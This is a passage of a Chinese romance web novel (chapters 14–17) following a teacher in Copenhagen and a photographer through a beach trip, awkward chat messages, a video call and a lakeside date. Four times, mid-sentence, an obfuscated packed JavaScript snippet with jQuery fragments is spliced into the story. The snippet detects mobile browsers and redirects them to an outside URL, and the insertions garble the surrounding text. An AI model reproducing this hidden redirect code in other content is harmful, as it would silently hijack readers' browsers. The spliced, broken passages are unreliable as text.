这正是龙秉月在多个浴场中看上这里的原因——最近每天查资料发视频,她对月亮已经完全着魔,也由此发现,不止刷视频,创作视频同样令人上瘾。 浴场功能丰富,有跳水区、躺晒区、含座位的半包隔间等等,她现在靠在一个隔间的隔板外,屁股之下应该算是“路”,不过这条道上坐着躺着很多人,就结果而言更像是躺晒区域。 她今天里面穿了泳衣,上半身套了防晒衣,下面穿的是超短裤。此刻坐着,两条腿的大半截都和木板亲密接触。 “哦……”龙秉月特意用手在木板上来回摸了摸,感觉不到粗糙,“我才不是豌豆公主!” 安宴本来就高,两人又是一站一坐,身高差超过了一米。她想对他翻个白眼,却发现仰着头翻白眼更像在盯着他的身子看。 干脆就顺理成章地看了起来——反正是在海上浴场。 从海滩走过来,一路上见了不知多少个裸着上身的人,他的身材的确把那些人都秒了。 在家里偶尔会遇到健完身的他,汗湿的衣服透出肌肉的纹理,已经足够性感。曾经觉得若隐若现更美,现在知道了那不过是因为看不到才嘴硬。 能看的话,当然要大饱眼福啊。 迎着她的目光,安宴垂下头,刚好背着光,看不太清表情。声音也被海风吹散,忽远忽近地环绕着她:“那我走了?” 他站着等待她的回答,好像她说“不”他就会留下来陪她一样。 但她当然是说:“去吧去吧,早去早回早换我来。” 安宴往跳台方向走,龙秉月目光追随着他的背影,拿他和擦肩而过的每个人作比较,在他毫不知情的情况下给他颁发了“今日海滨最佳身材奖”。 等他从视线中离开,她又把他的衣服拿起来,抱回了怀里。 嗯,只是怕被抢而已。没办法,谁让他还要开车回家,半裸男司机会被交警拦下的。 这里有不同高度的跳台,安宴直接上了最高的,似乎是五米。 他站在那里,尽显孤高的王者风范。王回头看了她一眼,然后纵身一跃,跳进了海里。 等他没入水中看不到她后,她悄悄把脸埋入他的衣服,深吸一口气——好香,她好变态。 又好喜欢变态的自己。 新面目察觉(√)。 面前,人们在木道上来来往往,在海水里嬉笑打闹,而她倚着隔板,在一派热闹中想, 这几个星期表面是她帮他忙,实际上更像是他带她在这座城市游玩,今天甚至连摄影机都没带。 她在哥本哈根真正能称为“生活”的那部分生活,被他填满。 除去工作,除去通过网络连接的身处外地的友人和线上世界,生活窄化到一间别墅的二楼和一个人。 虽然上学的时候几乎也只是学校和公寓两点一线,但每个点都是很多个小点聚集而成的。 如今只剩一个小点,长期身处异乡的孤寂却不增反减。 她是不是…… “哗——” 某人从水下游到她面前,泼了她一脸海水。 好在她戴着墨镜,替眼睛挡了水,摘掉后迅速定位到罪魁祸首。他自己的衣服倒是遭殃了。 安宴直接撑着木板上来了,被水浸湿的头发向后抹成背头,露出光洁的额头,比平时更妩媚。 反击的龙秉月从托特包里拿出绝密武器之一——水枪,朝着他还在啪嗒啪嗒滴水的身体呲了过去。 肩膀,喉结,胸肌,腹肌,大腿肌,哪里看上去好摸呲哪里。 不愧是淘宝转运过来的国产超强力水枪,一米多的高度都能呲到。 当然,这也得益于被呲的人丝毫不避,只在一开始惊讶了一下,后面就任由她嬉闹,乖乖当好人型靶子。 等她的水枪没水了,他才挨着她坐下来:“早去早回,任务完成。”还敬了个很不标准的礼。 哦……现在轮到她当着他的面脱衣服了。 安宴慵懒地半躺着的姿态,更是给她压力。为了缓解紧张,她开始找话题:“你衣服上喷的是什么香水啊?” 依然是熟悉的香味,她一直忘了问。比起香水本身更令人好奇的是,他这种混迹时尚圈的人,竟然总用同一款,那是得有多喜欢。 “Amo ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634412|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' uageJubilation男香。” 原来是大名鼎鼎的“爱慕”。 至于Jubilation,她不是香圈人,只听英文名不知道是什么香,不过这个单词“欢腾”的意思很适合他,也适合哥本哈根的夏天。 她马上也要去海水里欢腾了。 防晒衣是不透的款,脱掉后露出里面的比基尼。龙秉月看看自己,又看看安宴,发现自己几乎没被太阳晒过的那部分皮肤,比继承了伊莎贝拉白皮基因的他还要白。 在安宴眼里,此时的她更是白得发光,只消一眼就被耀眼得收回了视线。 从海滩到这里上千个身体,其中不乏□□的,只有她让他愿意多看一眼,却又不敢多看一眼。 龙秉月见他偏着头不知在想什么,用脚踢了踢他的小腿:“我过去咯,你看好我的宝物们。” 她选了三米跳台,毫无姿势可言地直直跳了下去。即便如此,入海的那一刻也感受到了无尽的爽。 太舒服太舒服,这就是被丹麦人称为hygge的幸福时刻吧。 她没有像安宴那样游过去,而是游到了长满青苔的台阶边,爬上建筑再走回去。 安宴似乎还在发呆,看到她很快回来,愣了一下说:“你不玩了吗?” “这里人太多啦,体验一次就够了。我们去海滩边吧!”龙秉月捞起她的包,语气中充满兴奋,“那边比较好发挥。” 除了水枪,她还带了大号的充气浮床,回到岸边充了气,推到浅海,招呼安宴一起上去。 说是大号,放上去一个包再上去一个人后,其实剩下的空间并不多。若是两人一起上去,几乎是要挤在一起。 一个人怕被拒绝,一个人怕冒犯,两人之间弥漫着浅浅的对峙,最终是安宴先屈服,认命地坐了上去。 浮床在海上漂荡,呼吸隔着一个包的距离交错。偶尔用手划一划水,掌控着方向,避免离岸太远。 她的视线正对着滚动的喉结,感到口干舌燥时,想到的方法竟然是用水枪呲自己的脸……像个真正的傻子。 “噗……”安宴看着这一幕,不禁笑出声来,“想亲近海水不如下去游。” “我不要,你去游。” 他得了命令滑进海里,下去后又感到不舍,搞不懂先前在装什么,好纠结一人。 空间变大,龙秉月顺势趴下,脑袋埋在角落,试图通过凉爽的气垫降温。 她用密码解锁防水袋里的手机,在香水平台搜索“Jubilation”,跳出来透明瓶身淡黄色的香水。 爱慕的品牌logo形似太阳,而这款香水叫作。 【月之咏叹】 可以说跟单词本意“欢腾”毫不相干。 评价里有热心网友解释道,这是因为德沃夏克歌剧《水仙女》中的这曲咏叹调,是调香师的灵感来源,中文便采取了这个译名。 是巧合还是……? 是巧合的话那也太巧了,不是巧合的话那就更巧了。 眼下,海游的人绕着她的浮床,始终保持着不近不远的距离。 她不是月,是地球,他成了绕着她转的月球。 15. 第十五章 龙秉月翻过身来,仰躺在充气浮床上。 下午的阳光耀眼,她闭上眼睛,眼前是一片红色。 不再用手划水掌控方向,任由浮床随浪漂流。听觉变得更加敏感,水声响彻耳底,游人的欢声笑语却离得远了,渐渐消声。 就这样漂吧,她只想放空自己。 漂到哪里算哪里。 手指有节奏地敲着浮床表面,放大耳畔的声音,让世界缩小至此,撞上海浪都不曾察觉。 失去了时间概念,不知多久后,龙秉月微微睁开双眼,从指缝间看到一个黑影扒着她的浮床,猛然被吓了一跳。 身体一抖,从躺姿变成坐姿。 “你怎么在这儿吓人啊?!”她轻轻喘着气,怒斥安宴。 安宴手拽着充气浮床的把手,腿在海面下蹬着水,避免自己的体重让浮床失去平衡,同时也控制着浮床漂流的方向,还能借此保持体内的热量,不可不说是一举三得。 但他面上看着毫不费力,看不出水下这么努力。 面对“质问”也只是轻松一笑,不斗嘴,立刻跪滑:“我错了,任你打骂蹂躏。” 只露个头和脖子在水面以上,绿眼睛里泛着真诚的光,显得楚楚可怜。头发已经有干的迹象,可见这个姿势已经维持挺久了。 龙秉月平复着受惊的心跳,听力也恢复正常,周围又变得喧闹,不时有人游过,或近或远地看他们一眼。 显眼的不是他们,而是少见于此的浮床。 他们的注意力则完全没有分给外人。 能俯视安宴的机会不多,龙秉月盘腿端坐着,抓紧机会低头看着肩膀以下都隐没在海中的安宴。 啊,原来这就是30cm身高差的感觉吗。 好有距离感。 以及。 两人这样的姿势,好像《泰坦尼克号》里沉船后的露丝和杰克,一个在木板上,一个在海里扶着木板……啊呸呸呸,想点好的。 然而,思维已经在脑海中发散,她不禁学着那时的露丝,缓缓俯下身子,减少那该死的距离感。 她由盘腿改为更方便俯身的跪坐,柔软的身子向前弯曲,直到能看清那双绿色眼瞳中映出的自己。 然后伸出双手。 一并拽了拽他的两只耳垂。软软的,温热的,和捏自己的耳朵感觉很不同。 既然他说“任她蹂躏”,那她当然要把握住机会。好吧,其实她也觉得这行为太小学鸡了,如果可以,她多想成为一名调情高手,在这样的独处场合游刃有余。 现实却是,时常冲动行事,下手后又怕尴尬而不敢面对。 这次也是一样,于是她干脆逃避进了海里。 扑通—— 脑袋从水下钻出来,海水从脸颊滑落,帮她洗去尴尬,重获新生。 龙秉月扶上浮床,和安宴相对而视,给自己铺退路:“喔,这样在海里漂的确蛮舒服。果然还是你有经验。” 表面看着淡定,内心已经崩溃了。 她过于跳脱,安宴也摸不着头脑,姑且顺着她的话:“还有更舒服的,想不想玩?” “什么?” “上岸告诉你。” 龙秉月回头看了看岸边,这里不适合海上运动,目之所及的范围内,人们要么躺着晒太阳,要么坐在野餐垫上吃喝玩乐,要么在水深不及膝盖的地方戏水,感受海浪。 根本猜不到有什么更舒服的活动。 但是这会儿怎么上岸,是个问题。 浪能不能直接把他们打上岸……显然不能,不然现在也不会离岸几十米。 那么选项就只剩下: 1.她和安宴一起游着把浮床推回去或者拉回去; 2.她美美坐上去,让安宴当苦力; 3.一人自己游回去,一人带浮床回去。 她选3。 “你先上岸,这玩意我自己拖回去。”龙秉月对对面的安宴说,命令般的口吻,不容拒绝。看安宴一动不动,又继续强调,“快走啦,拜托~” 安宴原本惬意的表情一瞬间有些凝固住,似是不明白她的态度怎么突然转变,上一秒俯身对视捏耳朵,下一秒又赶人离开。 皱起的眉头看着不像是害羞,反而像是嫌恶。 但无论如何,他都不能这样直接离开,对她奇怪的反应不闻不问。 “怎么了?” “不想一起的话,浮床交给我?你随心游,注意安全就好。” 他越是温柔、耐心,她越无法领情,越讨厌自己。心脏仿佛被揉捏,酸涩得紧。 双手也随之抓紧了浮床,眼睛定定地看着躺在床上的那把水枪,好希望它里面装的是记忆消失水、时间倒流水,呲一下就让人重启。 “可不可以别问了……就听我的吧……” 她固执地坚持,他不理解但尊重,矫健的躯体一步三回头地游上海滩,脚踩在岸边的水里等她。 龙秉月游得很慢,不是被浮床拖累,是内耗太严重,她搞不懂这个善变的自己了。忽冷忽热,忽晴忽雨,触碰完又收回手并想把手咔掉,记忆删掉。 天啊,她是怎么了。 纠结了一路,快到海岸的时候,安宴走近接过浮床,没再征求她意见,直接给自己揽活儿。 她卸了力,身心俱疲,已经不关心什么海上活动更舒服更好玩了。 沙滩上多的是被海浪冲刷上来的贝壳,绝大多数是碎掉的。她踩上去,刺痛硌脚的感觉让心不再随着海浪悬浮,有了实感。 小美人鱼上岸,鱼尾变成双腿后,走路时痛如刀割,莫非就是以此为灵感? 她现在也像变成人类的小美人鱼一样,为了追求感情而说不出话了。 幻想过海边约会的浪漫,购入了游玩嬉戏的道具,最终发现,是内心拖累了外力。天时地利不如人和。 “对不起,我累了,可不可以回家。”她虚弱地说。 安宴没有接话,从她的包里找出浴巾,裹在她身上。他好想问问她哪里不开心了,又怕她不开心的源头是他。 最终两人穿好衣服往停车场走时,他还是问出了口:“是不是我惹哪里惹你不开心了?告诉我,我会注意的。” 龙秉月的神情稍微恢复了一丝生动:“当然不是!我就是突然情绪低落,对不起……是我连累你也不开心了才对。” 这其实是个无效问题,就算真的是,她出于礼貌也会说不是。 安宴捏了捏她的手安慰她:“没关系,别在意,你的心情最重要。我只希望你不要不开心。” 然而到了车上,他说:“你先歇一歇,我去抽支烟,可以吗?你不介意的话。” 她自然不介意,不是客套,她对烟味不敏感。 她的敏感技能都点在心理上了。 虽然第一次见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634413|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面她就看到了安宴给伊莎贝拉点烟,但认识一个月来,这是她第一次见到安宴自己抽烟。她想他是真的不爽了。 都怪她。她更讨厌自己了。 对不起、对不起、对不起……某种情绪在心间满溢,决堤。 一支烟抽完,安宴又吹了会儿风散散味道才回到车上。 龙秉月已经靠在副驾上睡着了,至少“累”所言不虚,没有骗他。她的头发还没干,眼角旁也有水痕,不知是海水还是眼泪。 安宴伸手轻轻抹掉,放在舌尖上舔了一下,咸的——当然如此,眼泪和海水都是咸的。 - 几天后,龙秉月坐在桌前备课,回想起前些日子的海边往事,依然懊恼不已,情不自禁地“啊啊”叫起来。 可恶的记忆,为什么总能把尴尬事件记得这么清楚,害她随时想起,想得越多记得越深,恶性循环。 而且总在不经意时弹出,打断她原本的思路,实在是害人不浅。 除此之外,那天她在车上不小心湿着头发睡着,下车后头剧痛,后遗症持续至今,夜里或早上醒来时偶尔会头痛,身心双重折磨。 她和安宴的关系也陷入了怪圈。 起初是她刻意躲着,到后来安宴也不出现了——本该如此,伊莎贝拉不是早就说了吗,他喜欢在自己房间待着不出来。 可是某天她发现,一楼的人员去向牌上,安宴最近的状态似乎一直是“请勿打扰”。 于是终于在餐桌上问出口:“最近怎么都没见到安宴?” 一丝疑惑在伊莎贝拉脸上一闪而过,快得仿佛没有出现过,她热情解答:“他去隔壁瑞典拍品牌宣传片了,估计要半个月。” 妹妹安扬“童言无忌”:“那个呆子竟然没有告诉你吗?” 好问题,龙秉月也想知道原因。但两人关系确实没到汇报行程的地步吧…… 只是因为过去一段时间天天见到,就产生了不该有的期待,以为对方日程尽在掌握。实际上现在这样才叫正常。 龙秉月提醒自己,时刻谨记自己的身份,是伊、莎、贝、拉、的、老、师。 请把精力集中在眼前电脑上的教案! 不要再看手机短信了,看穿屏幕也收不到的。 因为前几次的经验,她好像把“正在输入”当成了许愿瓶,臆想着多输入几次就会被对方看到输入状态,然后问她有什么事。 事实上她是连漂流瓶都不敢投出的胆小鬼。 状态过于紧绷,大脑一片空白。遇到这种情况,龙秉月选择喝点小酒放松精神,寻找教学灵感。 在等待酒精起作用时,顺便刷刷短视频转移注意力。 她自己爱发爱看中文内容,所以也常被推送中文内容。今天推送给她的,是…… 擦边中文教学? 超厚滤镜下,一个衣着暴露的“女人”,表面在用英语教观众某些词在中文里怎么说,实则在对观众卖弄风姿。 观众是为了什么而来的,不言自明。各种不堪入目的留言说明了一切。 又消费女性,又消费中文,她的心中顿时升腾起一阵反感,顺手点了举报。 这种东西怎么能在#中文学习话题下位居高位啊!真是劣币驱逐良币。 想要好好做国际中文推广的心,在此刻达到了顶峰。 她看着从国内买的那一大堆物品,心里有了新的主意。 16. 第十六章 许愿究竟有没有用,是很难证明或证伪的。然而,当愿望真的实现,人又倾向于相信,是自己虔诚的心意起了作用。 在收到安宴的消息时,龙秉月就是这么想的。 心底的呼唤有了回声。 安宴问她:【怎么突然换风格了?】 看起来相当没头没尾的一句,没有指明,但她知道他是在说她的短视频账号。 因为上一分钟,她看到他点赞了。 倒是没想到发视频还能有意外收获呢,毕竟她前几天也没停更,都没见他有反应。 龙秉月没有立刻回复,先再次点开自己今晚发的视频欣赏了一遍,检查有没有哪里不得体。 手机画面中,一个戴着半遮面的中国龙面具的女人,正在教人用中文说“上不了台面的东西”,内涵隔壁某些低俗内容。 英语发音标准,声音活泼动听,内容生动有趣,评论一片和谐。很好,没什么问题。 耽搁了这一会儿,安宴的新消息已经又进来了。 【已读不回?】 【该不会你其实是在吐槽我吧。】 哦,该死的已读标记功能,就这么出卖了她。但她又不能关闭,她也需要看对方是否已读。 不过,安宴是在开玩笑还是真的在介意,她现在已经分不清。 那就装没看到好了。逃避一向最简单有效。 龙秉月选择回复最开始的消息:【因为在话题里看到了恶心的东西,我要用良币驱逐劣币。】 安宴问:【什么话题?】 紧接着又补了一句:【什么东西?】 龙秉月:【#中文学习话题,我给你看截图。】 然后,她打开手机相册,选中之前的几张截屏图片,点击发送。 叮——手机响起发送成功的提示音,她习惯性地回看发送的内容,却发现。 刚才不是只选中了三张图吗,往上拉聊天记录怎么有四张?? 从下往上一张张检查:第一张是对的,第二张是对的,第三张也是对的,第四张…… 基瑟斯,她的心跳骤停了。 更可怕的是,从图片全屏退回缩略图,她看到安宴“已读”了。 赶在心脏彻底死掉前,她麻溜地点了“撤回”,能救一点是一点。 ——他一个从小生长在国外的混血儿就算中文再好也不至于这几秒就能读完一页截屏的内容……吧。 紧接着龙秉月又点进相册,准备把害她手抖的罪魁祸首删掉,消灭证据。 截图上赫然显示着某中文网站的热议话题:【和外国人谈恋爱是怎样的体验?】 她真的无辜,怪就怪现在的算法越来越精确了,好像能钻到她脑子里一样,不用她自己搜,随机推荐的话题都是她感兴趣的。 这个也不例外。 手机不愧是每天24小时陪伴她的最亲密伙伴,这几天一定是感受到了她的纠结苦恼,才建议她阅读别人的经验,缓解内心的不安,寻找解决之道。 事实上,话题下面纷纷杂杂的个体经验的确有帮助。大到文化差异和感情观差异,小到两个独立个体之间的磨合,过来人的相似经历给了她不少安慰。 但问题是他们没谈啊!一切还都只是她的独角戏。 自己演给自己看尚且乐得自在,有了观众,她简直能用脚趾扣出足以填满丹麦和瑞典之间海峡的土,安宴出差完回国都不用跨海了,直接能走陆路。 从已读到新消息进来的半分钟,龙秉月脑海中过了万重山。 手上也没闲着——手机从右手换到左手,又从左手换到右手,再从右手放到桌子上,然后拿起来。仿佛只要手机动得够快,消息就追不上它。 安宴和她一样,擅长回自己想回的消息,忽略其它。 只不过,她忽略的是让她尴尬的消息,而他回的,同样是让她尴尬的消息。 【还好我会中文。】 好了,心彻底死翘翘了。 虽然那个话题下面,主流是在谈文化差异,但是赞数最多被顶到最上面的两条,第一条是“x生活很幸福”,第二条是“我化身中英词典,天天给对象解释中文专有词的意思,不过也借此锻炼了英语。” 截图截到的恰恰就是这两条。 他能在短时间内阅读到第二条,看来中文比她想象中好。 就是不知道他是在说, “还好我会中文,不需要谈个中英词典”; 还是, “还好我会中文,你不需要当词典”? 两个人都爱当谜语人,留有暧昧空间。 龙秉月不知道安宴为何这样,她自己是缺乏勇气。 再加上寄人篱下,生怕一挑破就不得不离开。现在虽有了经济底气,却也多了不舍。 于是她不真诚地夸,像是阴阳怪气,也带点自暴自弃:【那你可真是太厉害了。】 安宴这时又回复她没发错的截图:【怎么想到戴面具的?】 当然是为了不暴露她的真实身份。 但她只回:【根据中文学校的外国学生反馈,大家都觉得中国龙很帅。】 而且学生更喜欢学有趣的内容。 继续习惯性地回看聊天记录,她发现:怎么一直是他在问问题?而她都会回答,不知不觉被他掌控着节奏。 不行,她也要问。 龙秉月:【话说你怎么突然一声不吭出差了?】 安宴:【这边刚好有项目需要救急。】 好啊你,也学会了只答一半是不是。她决定打破沙锅问到底。 龙秉月:【你为什么不告诉我?】 安宴:【你也没有问我。】 龙秉月:【我现在问呢?】 安 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634414|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宴的视频打了过来,龙秉月不明白为什么要视频说,但还是在酒劲下接通了。 这么晚了,对面好像还在拍摄现场,背景嘈杂,人员来来往往,高喊着她听不懂的语言,也许是瑞典语。 而安宴,脸上有明显的疲态,一扫平时的轻松自在,坐在椅子上似乎在等待什么。从视频角度来看,人是在电脑前。 她第一反应自然是求证:“你现在在工作吗?” 他口吻随意:“在片场,但现在是休息时间,不要紧。” 视频里,龙秉月微醺泛红的脸蛋和湿漉漉的眼睛特别显眼。但她其实没有什么醉意,只是喝酒后会上脸。 两人一起吃过很多顿饭,安宴对此再熟悉不过。 但不同以往的是,此刻电脑屏幕里的她显得格外近,一张脸霸占整个屏幕,高速发展不断提升像素的手机前置镜头把脸拍得无比清晰,连毛孔都可见。 安宴不禁偷偷截了很多图,截完直接转进私密相册,以免像她一样手抖发送出去。 发给她倒是不要紧,万一发给别人……绝对不可以。 她这样的神态,又说着关心他的话,更是让他的心变得无限柔软。 她会搜索“和外国人谈恋爱是怎样的体验”,他又何尝没有反向考虑过呢,从第一次见面那晚就开始苦思冥想要怎样接近她,接近后又感到过于幸运而手足无措。 何况他是个没有经验的爱情白痴,摸不透她百转千回的心,不敢轻举妄动,小心翼翼地一点点试探。 生长在恋爱交往自由开放的文化中又如何,反而更让他担心他的爱意在她那里太轻飘飘,一开始就先否了“直球”的追求方式。 “你别累着了,休息时间就好好休息吧。我开玩笑的,哪里需要你给我汇报行程。”龙秉月一边表现出体贴,一边又绕回了原点。 感情打了死结,刚一尝试去解,就又打算先放放,让位给事业。 “我不累,我不累。”安宴一连说两遍,“见不到你才比较累。” 几天没有联系就更累了。 曾经希望她能自己在百转千回后把自己转明白,如今他先想明白了:重要的是别让她转了,不然转晕了怎么办。他要扶着她停下来。停下来才好看清彼此。 “那你现在见到咯。”龙秉月开始庆幸,酒精引发的红晕遮挡住了此刻蔓延上来的羞赧。 “嗯,但是还不够。”安宴定定地看着她乱瞟的眼神,“等我回去,我们去苏恩湖郊游吧。” “噢,摄影项目要继续进行吗?” “不是,我们去约会,好不好?” 龙秉月显然没想到他会这么说,一时间呆住了。 她在想,那是不是说明上次去海边也是约会……第一次约会就被她搞砸了。天哪,她又要开始内耗了。 见她不吭声,安宴柔声问:“你愿意吗?” 17. 第十七章 “你等一下。” 龙秉月说着,把开着视频的手机推远,在电脑上的搜索引擎检索“苏恩湖”。 是没听说过的地名,又只听到了发音,根据可能的字母组合进行搜索,结果试了几个词都一无所获。 她不禁疑惑起来,该不会安宴说的其实不是个地名,而是“soon”吧……等他回来,他们尽快挑个日子去玩。 手机又被捞了回来,屏幕里的安宴一动不动,比卡顿还静止得厉害,龙秉月不由得晃了晃手机。 ——是有用的。 对面看到她的脸迅速移动,摇晃到模糊,凑近镜头问她怎么了。 “你说的湖是什么湖?” “苏恩湖,在哥本哈根外围,北……” 他还没说完,就被打断了:“停停停!算了,先别告诉我,保持神秘感。” 她知道这确实是个地名就行了。 “好。”安宴声音含笑,“那就这么说定了?” 龙秉月略作沉思,缓缓出击:“不,你这人在国外的,没个定数。等你回来了,如果到时候想法不变,再当面约我吧。” 安宴不服:“我是那么善变的人?” 你不是,我是,意外是。 她心里这么想,表面不露声色,眨眨眼佯装调皮道:“等你回来证明咯。” - 往后每一天,安宴都会汇报自己的工作进度,表示一切尽在掌握。 而龙秉月,嘴上说要保持神秘感,实际上却时不时打开地图app,漫无目的地划拉着哥本哈根北边的地图,试图找到目标湖泊。 像在玩不为找到宝藏的寻宝游戏,追求的只是乐趣和期待。 可惜天不遂人愿,或者说不遂安宴愿,让龙秉月一语成谶,等来了意外情况—— 在瑞典拍摄的倒数第二天,甲方突然要改一些内容,工期又多出至少一天。 安宴害怕看到她失望的眼神,又觉得用文字说太敷衍,折中选择了打电话。 “喂?” 在龙秉月清脆的应声后,话筒里很长一段时间都只有沉默的呼吸声。 沉默自然也传递着信息,她懂了,却仍然想听他说。 “对不起,我可能要周一才能到家了。” 没拿工作当借口,没做到就是没做到,不管是什么原因,都是他的不对。 虽然只晚了一天,但对于龙秉月这种只有周末有空的人来说,晚一天就相当于推迟一星期。 然而她只是体贴地说:“没关系,这样我又可以多期待一星期了呢。你知道的,期待远行往往比远行本身更快乐。” 她还想说,比起约会,更重要的是想要你快快回来。明明只在七月“同居”了不到一个月的时间,分开十几天怎么会变得这么难熬呢。 本来就没有什么安全感,更是经不起得到后再失去。 言语是那么无力,彼此都不希望对方失望或愧疚,而这种“不希望”本身,反倒加深了对方的愧疚。 龙秉月选择大睡特睡来埋葬情绪。 周末两天,每当消极情绪上来,她倒头就睡,醒了再继续睡前的学习或工作。 一直以来坚持的良好作息,只需要不到两天就能破坏掉。 却发现,这样好像也挺爽的?睡醒后效率确实高,把睡眠时间提升n倍后的“达芬奇睡眠法promax”有其可取之处。 星期天晚上,她又这么睡过去了,醒来已是凌晨三点,比预计的十二点晚了许久。 脑袋有点晕乎乎的,但还记得自己没有刷牙洗漱,睡眼惺忪地出了卧室准备拐进二楼的卫生间。 出门刚一右拐,差点撞到一个人身上,险些叫出了声。 幸好及时发现那人是安宴不是贼,也一下子完全清醒过来,心里又惊又喜。 “你怎么在这儿?!”龙秉月迷糊地问,“不是周日晚才结束工作吗?我不会睡了一整天吧……” 说着她就要从口袋里掏出手机看日期,摸了摸才想起来,手机放在屋里。 安宴按住了她的手腕:“没有,放心,还没到星期一白天。我一下工就赶回来了,不想再让你等了,要让你第一时间看到我。” 走廊没有开灯,只有龙秉月的卧室泄出来的光。安宴隐在阴影中,面目看不真切,低沉的声音着实透着疲惫。 而龙秉月皱起的眉头清晰地落在安宴眼里,低头发现他连行李都还放在脚下后,她心情复杂地说:“那我要是凌晨没醒呢,其实醒来才是超小概率事件吧……你就一直在这儿等着?” “嗯,我就一直等着。” “不要玩苦肉计啦……这很犯规。” “那你会心疼吗?” “不会。”龙秉月盯着安宴,眼里释放着真诚的光,努力表现出百分百的真实,“真的不会,你千万别这么做了。” “好,都听你的。”安宴顿了顿又说,“那你说,我现在该做什么?” “睡觉!立马回屋睡觉。我也要洗洗睡了。” “好。晚安。”他答应得很快。 “晚安。” 道完晚安,安宴出其不意地上前一步,用右手轻轻抱了一下她。 龙秉月顺着他的半个怀抱,自然地向右侧身。原来,风尘仆仆的气息是可以闻到的,夜风似乎还在他身上没有散去。 拥抱却不到一秒就散开,还没有气味的停留时间长,也不如耳畔第二声“晚安”萦绕的时间久。 然而直到在卫生间里刷完牙洗完脸,龙秉月都没有缓过劲来,一会儿觉得自己像是喝大了,一会儿觉得自己在梦游。 现实世界怎会如此轻飘飘。 可恶,不让用苦肉计,他用起美男计了。 不过感觉不错,可以多来点。 - 如她所愿,接下来的几天里,安宴变得特别黏人,像要把缺失的两星期补上一样,通过让平均值达到先前程度的方式。 多来也不能这样吧,以后要有落差的! 内心吐槽归吐槽,龙秉月依然很享受。 只是偶尔会担心两人天天同进同出的,而且每次下课和伊莎贝拉道别,说要去见朋友其实都是去找安宴,不知道他的家人发现后会作何感想。 目前,似乎还没人注意到。 在忐忑和期待并行的心情下,原计划在第二个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13634415|143709||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周末没再落空。 安宴换了一辆SUV开,还带上了野餐垫、桌椅和户外烧烤工具,看样子主要目的是湖畔野餐。 龙秉月没多过问,既然说要保持神秘感并且又没查到目的地在哪,那就干脆神秘到底。 可是车很快开出城后,没有像预想中那样往北走,倒是朝西开去了。 她于是忍不住问:“你之前不是说在北边(north)吗?” 安宴目光直视着前方,对她说:“是西北(northwest),你没让我说完。” ……吃了英语单词的亏,okfine。 一路上车越来越少,苏恩湖还不见影子,龙秉月坐得身体都僵了,无聊得甚至自言自语讲起了冷笑话: A:“我们还要多久才到湖边呀?” B:“Soon,soon.” ——这便是苏恩湖名字的由来。 绘声绘色,声情并茂地讲完后,她问安宴:“我编的对吗?” 安宴不置可否:“真的快到了。” 龙秉月歪着脖子倒在座位上,直直地看着前方的公路,和两侧一望无际的树林:“早知道我去后面躺着了……哎,不过好像不符合道路安全要求,算了。” 紧接着车子一拐,上了土路,弯弯绕绕,停在一座房子前。 “到了。”安宴说,“没骗你,刚才说快了就是快了。” 从副驾驶座望出去,却看不到一丝一点的湖,几乎只有成片的绿。 “湖在哪呢?”龙秉月满头问号。 “跟我来。” 安宴提着烤炉和桌椅走在前面,龙秉月抱着其余轻的物品跟着。 穿越树林,一路下坡,依然被高个子挡着视线,直到树木渐渐稀疏,地面变得开阔起来—— 她从身后绕到身旁,深深体会到像进入世外桃源一般的豁然开朗。 湖面闪耀着粼粼波光,倒映出天空的蔚蓝,走近后又恢复成本身的碧绿。四周被山丘和树林包裹,广阔天地任由他们两人独享,不受任何人打扰。 呆呆地看了好久,龙秉月才回过神来,喃喃道:“这里也太棒了……” 安宴从愣神的她手中接过野餐垫,在湖边空地铺开,又撑开桌椅。她的身体跟着移动,而目光还定在湖中央。 “要我说‘公主请坐’才肯坐吗?”安宴走过去和她并肩站着,打趣道。 龙秉月终于看向他,微微侧着头,眉毛上挑:“你别问我呀,你试试不就知道了。” “女王陛下,请坐。”安宴拉动露营椅到她身后,做出“请”的手势。 